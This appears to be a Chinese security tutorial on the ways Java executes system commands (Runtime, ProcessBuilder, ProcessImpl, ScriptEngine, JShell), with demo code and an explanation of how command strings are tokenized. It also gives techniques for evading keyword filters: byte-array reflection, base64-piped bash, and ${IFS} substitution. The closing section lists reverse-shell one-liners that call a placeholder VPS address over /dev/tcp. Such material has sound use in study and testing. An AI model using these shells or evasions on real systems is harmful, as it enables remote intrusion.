Java命令执行

前言

Java中执行命令的方法主要有java.lang.Runtime#exec,java.lang.ProcessBuilder#start以及java.lang.ProcessImpl#start,它们之间的调用关系如下图所示。

Runtime

Java中最为常见命令执行方式就是使用java.lang.Runtime#exec方法来执行本地系统命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.security;

import org.apache.commons.io.IOUtils;

import java.io.InputStream;

public class RuntimeExecDemo {

public static void main(String[] args) throws Exception {

InputStream inputStream = Runtime.getRuntime().exec("whoami").getInputStream();
System.out.println(IOUtils.toString(inputStream, "gbk"));
}
}

在某些时刻由于一些特殊的原因可能不能出现Runtime相关的关键词,此时可以采用反射的形式进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.security.CommandExecution;

import org.apache.commons.io.IOUtils;

import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Arrays;

public class RuntimeReflectDemo {

public static void main(String[] args) throws Exception {

String className = "java.lang.Runtime";
byte[] classNameBytes = className.getBytes(); // [106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101]
System.out.println(Arrays.toString(classNameBytes));

String methodName = "getRuntime";
byte[] methodNameBytes = methodName.getBytes(); // [103, 101, 116, 82, 117, 110, 116, 105, 109, 101]
System.out.println(Arrays.toString(methodNameBytes));

String methodName2 = "exec";
byte[] methodNameBytes2 = methodName2.getBytes(); // [101, 120, 101, 99]
System.out.println(Arrays.toString(methodNameBytes2));

String methodName3 = "getInputStream";
byte[] methodNameBytes3 = methodName3.getBytes(); // [103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109]
System.out.println(Arrays.toString(methodNameBytes3));

String payload = "whoami";
// 反射java.lang.Runtime类获取class对象
Class<?> clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的getRuntime方法
Method method1 = clazz.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method method2 = clazz.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec()方法
Object obj = method2.invoke(method1.invoke(null, new Object[]{}), new Object[]{payload});
// 反射获取Process类的getInputStream方法
Method method3 = obj.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
method3.setAccessible(true);

InputStream inputStream = (InputStream) method3.invoke(obj, new Object[]{});
System.out.println(IOUtils.toString(inputStream, "gbk"));

}
}

ProcessBuilder

ProcessBuilder类用于创建操作系统进程。每个ProcessBuilder实例管理一个进程属性集,其start方法利用这些属性来创建进程。由于java.lang.Runtime#exec后续会调用到java.lang.ProcessBuilder#start,并且ProcessBuilder#start是public类型的,因此也可以直接利用其来执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.security.CommandExecution;

import org.apache.commons.io.IOUtils;

import java.io.InputStream;

public class ProcessBuilderDemo {

public static void main(String[] args) {

try {
InputStream inputStream = new ProcessBuilder("ipconfig", "/all").start().getInputStream();
System.out.println(IOUtils.toString(inputStream, "gbk"));
} catch (Exception e) {
e.printStackTrace();
}
}
}

ProcessImpl

对于java.lang.ProcessImpl类并不能直接调用,但是可以通过反射来间接调用ProcessImple#start来达到命令执行的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.security.CommandExecution;

import org.apache.commons.io.IOUtils;

import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplDemo {

public static void main(String[] args) {

try {
String[] exp = {"cmd", "/c", "ipconfig", "/all"};
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);

InputStream inputStream = ((Process) method.invoke(null, exp, null, ".", null, true)).getInputStream();
System.out.println(IOUtils.toString(inputStream, "gbk"));
} catch (Exception e) {
e.printStackTrace();
}
}
}

ScriptEngine

javax.script.ScriptEngine类是Java自带的用于解析并执行JS代码。ScriptEngine接口中有一个eval方法,可以执行Java代码。但需要注意的是,需要在有相应engine的环境中才能有效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.security.CommandExecution;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;

public class ScriptEngineDemo {

public static void main(String[] args) throws ScriptException {

String exp = "function demo() {return java.lang.Runtime};d=demo();d.getRuntime().exec(\"calc\")";
// String exp = "var test=Java.type(\"java.lang.Runtime\"); print(test.getRuntime().exec(\"calc\"))";
// String exp = "var CollectionsAndFiles = new JavaImporter(java.lang);with (CollectionsAndFiles){var x= Runtime.getRuntime().exec(\"calc\")}";
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(exp);
}
}

JShell

从Java 9开始提供了一个叫jshell的功能,jshell是一个REPL(Read-Eval-Print Loop)命令行工具,提供了一个交互式命令行界面,在jshell中不再需要编写类也可以执行Java代码片段,开发者可以像python和php一样在命令行下写测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.security.CommandExecution;

import jdk.jshell.JShell;

public class JShellDemo {

public static void main(String[] args) {

try {
JShell.builder().build().eval(new String(Runtime.getRuntime().exec("calc").getInputStream().readAllBytes()));
} catch (Exception e) {
e.printStackTrace();
}
}
}

Others

Windows

在Windows中,当要进行写文件等操作时,命令前缀要加cmd /c。在下图中示例代码执行echo “h3rmesk1t” > 1.txt时,可以看到是无法执行成功的。

下断点跟进,先进入java.lang.Runtime#exec(String command)。

1
2
3
public Process exec(String command) throws IOException {
return exec(command, null, null);
}

继续跟进,进入java.lang.Runtime#exec(String command, String[] envp, File dir)。这里先会判断传入的command是否为空,当不为空时会传入StringTokenizer类中。

1
2
3
4
5
6
7
8
9
10
11
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}

跟进StringTokenizer类,这里会将传入的字符串按照\t\n\r\f和空格进行分割。

1
2
3
public StringTokenizer(String str) {
this(str, " \t\n\r\f", false);
}

可以看到再进一步调用java.lang.Runtime#exec(String[] cmdarray, String[] envp, File dir)前,传入的待执行命令字符串变成了[“echo”, “”h3rmesk1t””, “>”, “C:\Users\95235\Downloads\1.txt”]。

之后再传入ProcessBuilder,最后来到ProcessImpl,Runtime和ProcessBuilder的底层实际上都是ProcessImpl。而不能执行echo命令的原因是因为Java找不到这个东西,没有环境变量,因此加上cmd /c即可。

Linux

在Linux环境中也存在着类似的问题,例如/bin/sh -c echo 1 > 1.txt虽然会创建文件,但是文件并没有内容,这是因为/bin/sh -c需要一个字符串作为参数来执行。而当后续为字符串时,根据上面分析的,经过StringTokenizer类后,整个命令变成了{“/bin/sh”,”-c”,””echo”,”1”,”>”,”1.txt””}。

因此,在Linux环境下,可以采用数组或者Base64编码的形式来执行命令。

1
2
3
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo 1 > 1.txt"});

/bin/bash -c {echo,base64-encode-string}|{base64,-d}|{bash,-i}

补充,在Linux环境下弹shell的一些姿势。

1
2
3
4
5
bash -i >& /dev/tcp/127.0.0.1/5000 0>&1 //适用于直接执行这个命令不能弹的情况

Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/你的vps ip/监听端口<&1");

@java.lang.Runtime@getRuntime().exec('/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/你的vps ip/监听端口<&1')